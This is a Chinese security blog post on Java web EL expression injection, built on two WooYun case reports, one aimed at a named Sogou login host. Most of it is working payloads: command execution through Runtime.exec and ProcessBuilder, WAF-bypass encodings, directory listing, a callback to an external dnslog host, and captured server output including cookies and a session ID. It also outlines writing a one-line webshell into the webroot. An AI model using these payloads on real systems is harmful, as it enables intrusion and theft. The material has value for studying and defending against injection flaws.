JAVA WEB EL表达式注入
看猪猪侠以前的洞,顺便总结下:
一、EL表达式简介
EL 全名为Expression Language。EL主要作用:
1、获取数据
EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
2、执行运算
利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
3、获取web开发常用对象
EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
4、调用Java方法
EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。
嗯,这段复制的,详细链接:https://www.cnblogs.com/xdp-gacl/p/3938361.html
检测方式:
https://www.a.com/login?a=${10-9}
表达式执行会会显在页面上,检查源码。
漏洞利用:
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。) ${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径 ${header} 文件头参数 ${applicationScope} 获取webRoot ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
渗透思路:获取webroot路径,exec执行命令echo写入一句话。
乌云案例一:
详细说明:
#1 漏洞描述
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法
#2 影响服务器
http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml
#3 Paylod
code 区域
groupName=1&papersType=${9999999-444}&papersValue=1&baseacct=1&retMsg=1&retCode=1
漏洞证明:
#4 绕过WAF
code 区域
http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml
companyName=999&groupName=&papersType=${"a9999abbb".toString\u0028\u0029}&papersValue=1&baseacct=1&retMsg=1&retCode=1
#5 回显命令执行
code 区域
groupName=1&papersType=${%23a%3d\u0028new%20java.lang.ProcessBuilder\u0028new%20java.lang.String[]{\u0027/sbin/ifconfig\u0027,\u0027-a\u0027}\u0029\u0029.start\u0028\u0029,%23b%3d%23a.getInputStream\u0028\u0029,%23c%3dnew%**.**.**.**.InputStreamReader\u0028%23b\u0029,%23d%3dnew%**.**.**.**.BufferedReader\u0028%23c\u0029,%23e%3dnew%20char[50000],%23d.read\u0028%23e\u0029,%23ringzero%3d%23context.get\u0028\u0027com.opensymphony.xwork2.dispatcher.HttpServletResponse\u0027\u0029,%23ringzero.getWriter\u0028\u0029.println\u0028%23e\u0029,%23ringzero.getWriter\u0028\u0029.flush\u0028\u0029,%23ringzero.getWriter\u0028\u0029.close\u0028\u0029}&papersValue=1&baseacct=1&retMsg=1&retCode=1
code 区域
${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'/sbin/ifconfig','-a'})).start(),#b=#a.getInputStream(),#c=new **.**.**.**.InputStreamReader(#b),#d=new **.**.**.**.BufferedReader(#c),#e=new char[50000],#d.read(#e),#ringzero=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#ringzero.getWriter().println(#e),#ringzero.getWriter().flush(),#ringzero.getWriter().close()}
code 区域
eth5 Link encap:Ethernet HWaddr 00:50:56:97:7A:74
inet addr:**.**.**.** Bcast:**.**.**.** Mask:**.**.**.**
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5603928546 errors:0 dropped:0 overruns:0 frame:0
TX packets:8131434126 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:735168104896 (701110.9 Mb) TX bytes:11750604019014 (11206249.2 Mb)
lo Link encap:Local Loopback
inet addr:**.**.**.** Mask:**.**.**.**
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:51371053 errors:0 dropped:0 overruns:0 frame:0
TX packets:51371053 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:25387430681 (24211.3 Mb) TX bytes:25387430681 (24211.3 Mb)
#6 列目录
code 区域
groupName=1&papersType=${new **.**.**.**.File(\u0027/\u0027).listFiles()[1]}&papersValue=1&baseacct=1&retMsg=1&retCode=1
修复方案:
# 表达式不允许来自客户端调用
乌云案例二:
搜狗某系统存在远程表达式注入漏洞(命令执行)
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法
详细说明:
#1 漏洞地址
code 区域
https://auth.p4p.sogou.com/login?service=${1000-900}
code 区域
https://auth.p4p.sogou.com/login?service=${pageContext}
action="/login?service=com.caucho.jsp.PageContextImpl@2aaf3a58" method="post">
#2 表达式执行后的结果返回在页面
获取web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
file:/opt/local/resin/
code 区域
https://auth.p4p.sogou.com/login?service=${requestScope}
{javax.servlet.jsp.jstl.fmt.locale=zh_CN, org.springframework.validation.BindingResult.credentials=org.springframework.webflow.mvc.view.BindingModel: 0 errors, flashScope=map[[empty]], flowExecutionUrl=/login?service=%5BLjava.lang.String%3B%40660b2cde, warnCookieValue=false, javax.servlet.forward.servlet_path=/login, org.springframework.web.servlet.support.RequestContext.CONTEXT=Flow ApplicationContext [login]: startup date [Tue Apr 12 21:38:02 CST 2016]; parent: WebApplicationContext for namespace 'eunomia-servlet', org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, caucho.forward=true, javax.servlet.forward.request_uri=/login, javax.servlet.forward.query_string=service=${requestScope}, loginTicket=LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m, javax.servlet.forward.context_path=, phoneValidationModel=com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, org.springframework.web.servlet.FlashMapManager.OUTPUT_FLASH_MAP=[Attributes={}, targetRequestPath=null, targetRequestParams={}], flowRequestContext=[RequestControlContextImpl@4bab0382 externalContext = org.springframework.webflow.mvc.servlet.MvcExternalContext@4873729d, currentEvent = viewAcountLogin, requestScope = map[[empty]], attributes = map[[empty]], messageContext = [DefaultMessageContext@1369c694 sourceMessages = map[[null] -> list[[empty]]]], flowExecution = [FlowExecutionImpl@56c2881 flow = 'login', flowSessions = list[[FlowSessionImpl@7fd72fee flow = 'login', state = 'accountViewLoginForm', scope = map['phoneValidationModel' -> com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, 'loginTicket' -> 'LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m', 'service' -> ${requestScope}, 'credentials' -> [username: null], 'warnCookieValue' -> false, 'ticketGrantingTicketId' -> [null], 'viewScope' -> map['commandName' -> 'credentials']]]]]], viewScope=map['commandName' -> 'credentials'], javax.servlet.jsp.jstl.fmt.localizationContext=org.springframework.web.servlet.support.JstlUtils$SpringLocalizationContext@88bf3d4, org.springframework.web.servlet.DispatcherServlet.LOCALE_RESOLVER=org.springframework.web.servlet.i18n.CookieLocaleResolver@1c34e7ae, org.springframework.web.servlet.DispatcherServlet.CONTEXT=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER=org.jasig.cas.services.web.ServiceThemeResolver@55565ef9, flowExecutionKey=e110s1, service=${requestScope}, commandName=credentials, encodingFilter.FILTERED=true, credentials=[username: null]}
code 区域
https://auth.p4p.sogou.com/login?service=${header}
{Upgrade-Insecure-Requests=1, Accept-Language=zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4, Cookie=SUV=1446734204911570; IPLOC=CN4401; SUID=BA5782774FC80D0A00000000563B6987; pgv_pvi=3484909568; sct=4; LSTMV=703%2C260; LCLKINT=108193; CXID=5CE9FE68778002DCEC30C2A9412EBA10; GOTO=; ad=3wENElllll2Q7p51lllllVtpqM7lllllNcJUWlllll9lllllxTDll5@@@@@@@@@@; _euid=75841017-9d86-4069-9421-d077bd8489ef; JSESSIONID=abcN1iKReDhPacJcOLoqv; session_id_agent_crm=8a089ef7-44bf-493b-81bc-45a327cf03ec, Host=auth.p4p.sogou.com, PROXY_ADDR=10.149.29.104, Accept-Encoding=gzip, deflate, sdch, X-Real-IP=119.130.85.119, X-Forwarded-For=*******, User-Agent=, Connection=close, Accept=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}
漏洞证明:
EL表达式参考
http://www.cnblogs.com/xdp-gacl/p/3938361.html
利用方式1
code 区域
${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\u0027ifconfig\u0027).getInputStream())}
#3 执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("dig sougou.99fd5e.dnslog.info",null).getInputStream())}
CloudEYE:
code 区域
13-Apr-2016 18:42:50.858 queries: client 208.69.37.21#19674 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)
13-Apr-2016 18:42:53.876 queries: client 208.69.37.17#53756 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)
读取 ${sessionScope}, 获取a=InputStream的回显内容,a=java.io.BufferedInputStream@4d778271
获取WebROOT
https://auth.p4p.sogou.com/login?service=${applicationScope}
code 区域
javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,
org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext
然后就用命令向这个目录/opt/app/eunomia/ 写jsp文件了
JAVA WEB EL表达式注入的更多相关文章
- [Java.web]EL表达式
<%@page import="cn.itcast.domain.Address"%> <%@page import="cn.itcast.domain ...
- java Web EL表达式详解
1.EL表达式的简介 EL表达式是一种JSP技术,能够代替JSP中原本要用Java语言进行显示的语句,使得代码更容易编写与维护.最基本的语法是${express}. 2.获取并显示数据 从四个域中通过 ...
- 杂项-Java:EL表达式
ylbtech-杂项-Java:EL表达式 EL(Expression Language) 是为了使JSP写起来更加简单.表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提 ...
- Java:EL表达式
ylbtech-Java:EL表达式 EL(Expression Language) 是为了使JSP写起来更加简单.表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 ...
- java、el表达式中保留小数的方法
Java中: import java.math.BigDecimal; import java.text.DecimalFormat; import java.text.NumberFormat; p ...
- Java ee el表达式
以前在开发的时候,偶尔会遇到jsp页面不支持el表达式的情况. 这个的原因是因为El功能被关闭了, 当时的解决办法是关闭忽略.isELIgnored 设设置 但是为什么有时候不用设置也可以了呢.发现原 ...
- JAVA 之 EL表达式
一.什么是EL表达式 1.Expression Language表达式语言 2.是一种在JSP页面获取数据的简单方式(只能获取数据,不能设置数据) 语法格式:${expression } 二.EL中的 ...
- Java Web EL JSTL的用法
1.导入包 fastjson-1.2.2.jar 2.JSP文件加入 <%@ taglib uri="http://java.sun.com/jsp/jstl/core" p ...
- java中EL表达式怎么获取网站的根目录
${pageContext.request.contextPath} <a href="${pageContext.request.contextPath}/login.jsp&quo ...
随机推荐
- Jenkins+Ansible+Gitlab自动发布/回滚Spring项目
一.实现方法流程图 流程图如下:代码托管在本地GitLab上(为了复现整套流水线,我直接使用了GitHub,懒得再搭建GitLab),开发完成后提交代码到代码仓库,[自动]触发Jenkins进行持续集 ...
- Python基础02 变量
Python中的变量有两个特点: 1. 无需声明 a = 1 2. 不与类型绑定 a = 1 a = 'hello world' 变量名只是内存中具体对象的一个引用(reference). 对于 a ...
- 前端【JS】,深拷贝与浅拷贝的区别及详解!
我是前端小白一枚,为了巩固知识和增强记忆,开始整理相关的知识,方便以后复习和面试的时候看看.OK,让我们进入正题~ 先说说浅拷贝和深拷贝的理解吧,个人是这样理解的:两个对象A.B, A有数据B为空,B ...
- java基础篇 之 构造器内部的多态行为
java基础篇 之 构造器内部的多态行为 我们来看下下面这段代码: public class Main { public static void main(String[] args) { new ...
- MySQL基础总结(三)
ORDER BY排序 ORDER BY默认是ASC(升序),降序是DESC LIMIT限制查询结果显示条数 LIMIT显示条数 LIMIT偏移量,显示条数 到目前为止有关查询数据的操作(DQL) 更新 ...
- 花店橱窗布置问题(FLOWER)
目录 问题描述 问题分析 Java代码实现 运行结果 今天老师上完课说所有花都要被放,这个算法还是考虑多了,包含了这个选择,代码就不给了,用dp思想就可以解决了. 问题描述 假设你想以最美观的方式 ...
- 设计模式之GOF23迭代器模式
迭代器模式Iterator /** * 自定义迭代器接口 * @author 小帆敲代码 * */public interface MyIterator { void first();//游标置于第 ...
- [hihoCoder1231 2015BeijingOnline]求圆与多边形公共部分的周长
题意:如题 思路:离散.将所有交点求出来,相当于将多变形的边切成了很多条元边,对每条元边,有两种情况 在圆内,答案加上此边长 在圆外,答案加上此边相对于圆心的"有向转弧" #inc ...
- 码农高效率工作必备工具之 StrokesPlus
鲁迅先生曾经说过:不想偷懒的码农不是好码农. 我今天偏偏就勤奋一下,把压箱底的偷懒神器分享给大家. StrokesPlus(简称S+)是一款非常好用的鼠标手势软件,通过按下鼠标键画手势,或者按快捷键, ...
- JS理论-:一只tom猫告诉你构造函数 实例 实例原型 实例原型的实例原型是什么
参考地址:https://github.com/mqyqingfeng/Blog/issues/2 感谢这位大佬 下面说说我的理解: 第一,看下人物: tom--一只叫tom的猫 Cat()--猫的构 ...